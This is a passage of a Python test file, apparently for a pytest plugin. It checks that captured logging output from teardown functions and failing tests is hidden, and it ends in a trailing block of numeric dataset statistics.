assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout teardown" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 0
def test_teardown_function_assert_false(testdir):
"""Test pytest does not display captured stderr on test setup failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def teardown_function(function):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert False
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr teardown" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout teardown" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 1
def test_teardown_function_assert_true(testdir):
"""Test pytest does not display captured stderr on test setup failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def teardown_function(function):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert True
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr teardown" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout teardown" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 0
def test_hide_capture_log_call(testdir):
"""Test pytest does not display captured log call on test failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import daiquiri
import sys
import datetime
import logging
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
daiquiri.setup(
level=logging.INFO,
outputs=(daiquiri.output.File(file_name),),
)
logger = daiquiri.getLogger(__name__)
def test_logging():
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert False
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured log call is not displayed
for line in result.stdout.lines:
assert "Captured log call" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout call" not in line
assert "Captured stderr call" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 1
| 33.934911
| 104
| 0.632563
| 2,664
| 22,940
| 5.318694
| 0.037538
| 0.027525
| 0.049545
| 0.070929
| 0.988425
| 0.988425
| 0.984685
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| 0.980521
| 0.980521
| 0
| 0.005671
| 0.269747
| 22,940
| 675
| 105
| 33.985185
| 0.840138
| 0.115475
| 0
| 0.840278
| 0
| 0
| 0.319883
| 0
| 0
| 0
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| 1
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| false
| 0
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| 0.076389
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| 0
| 0
| 0
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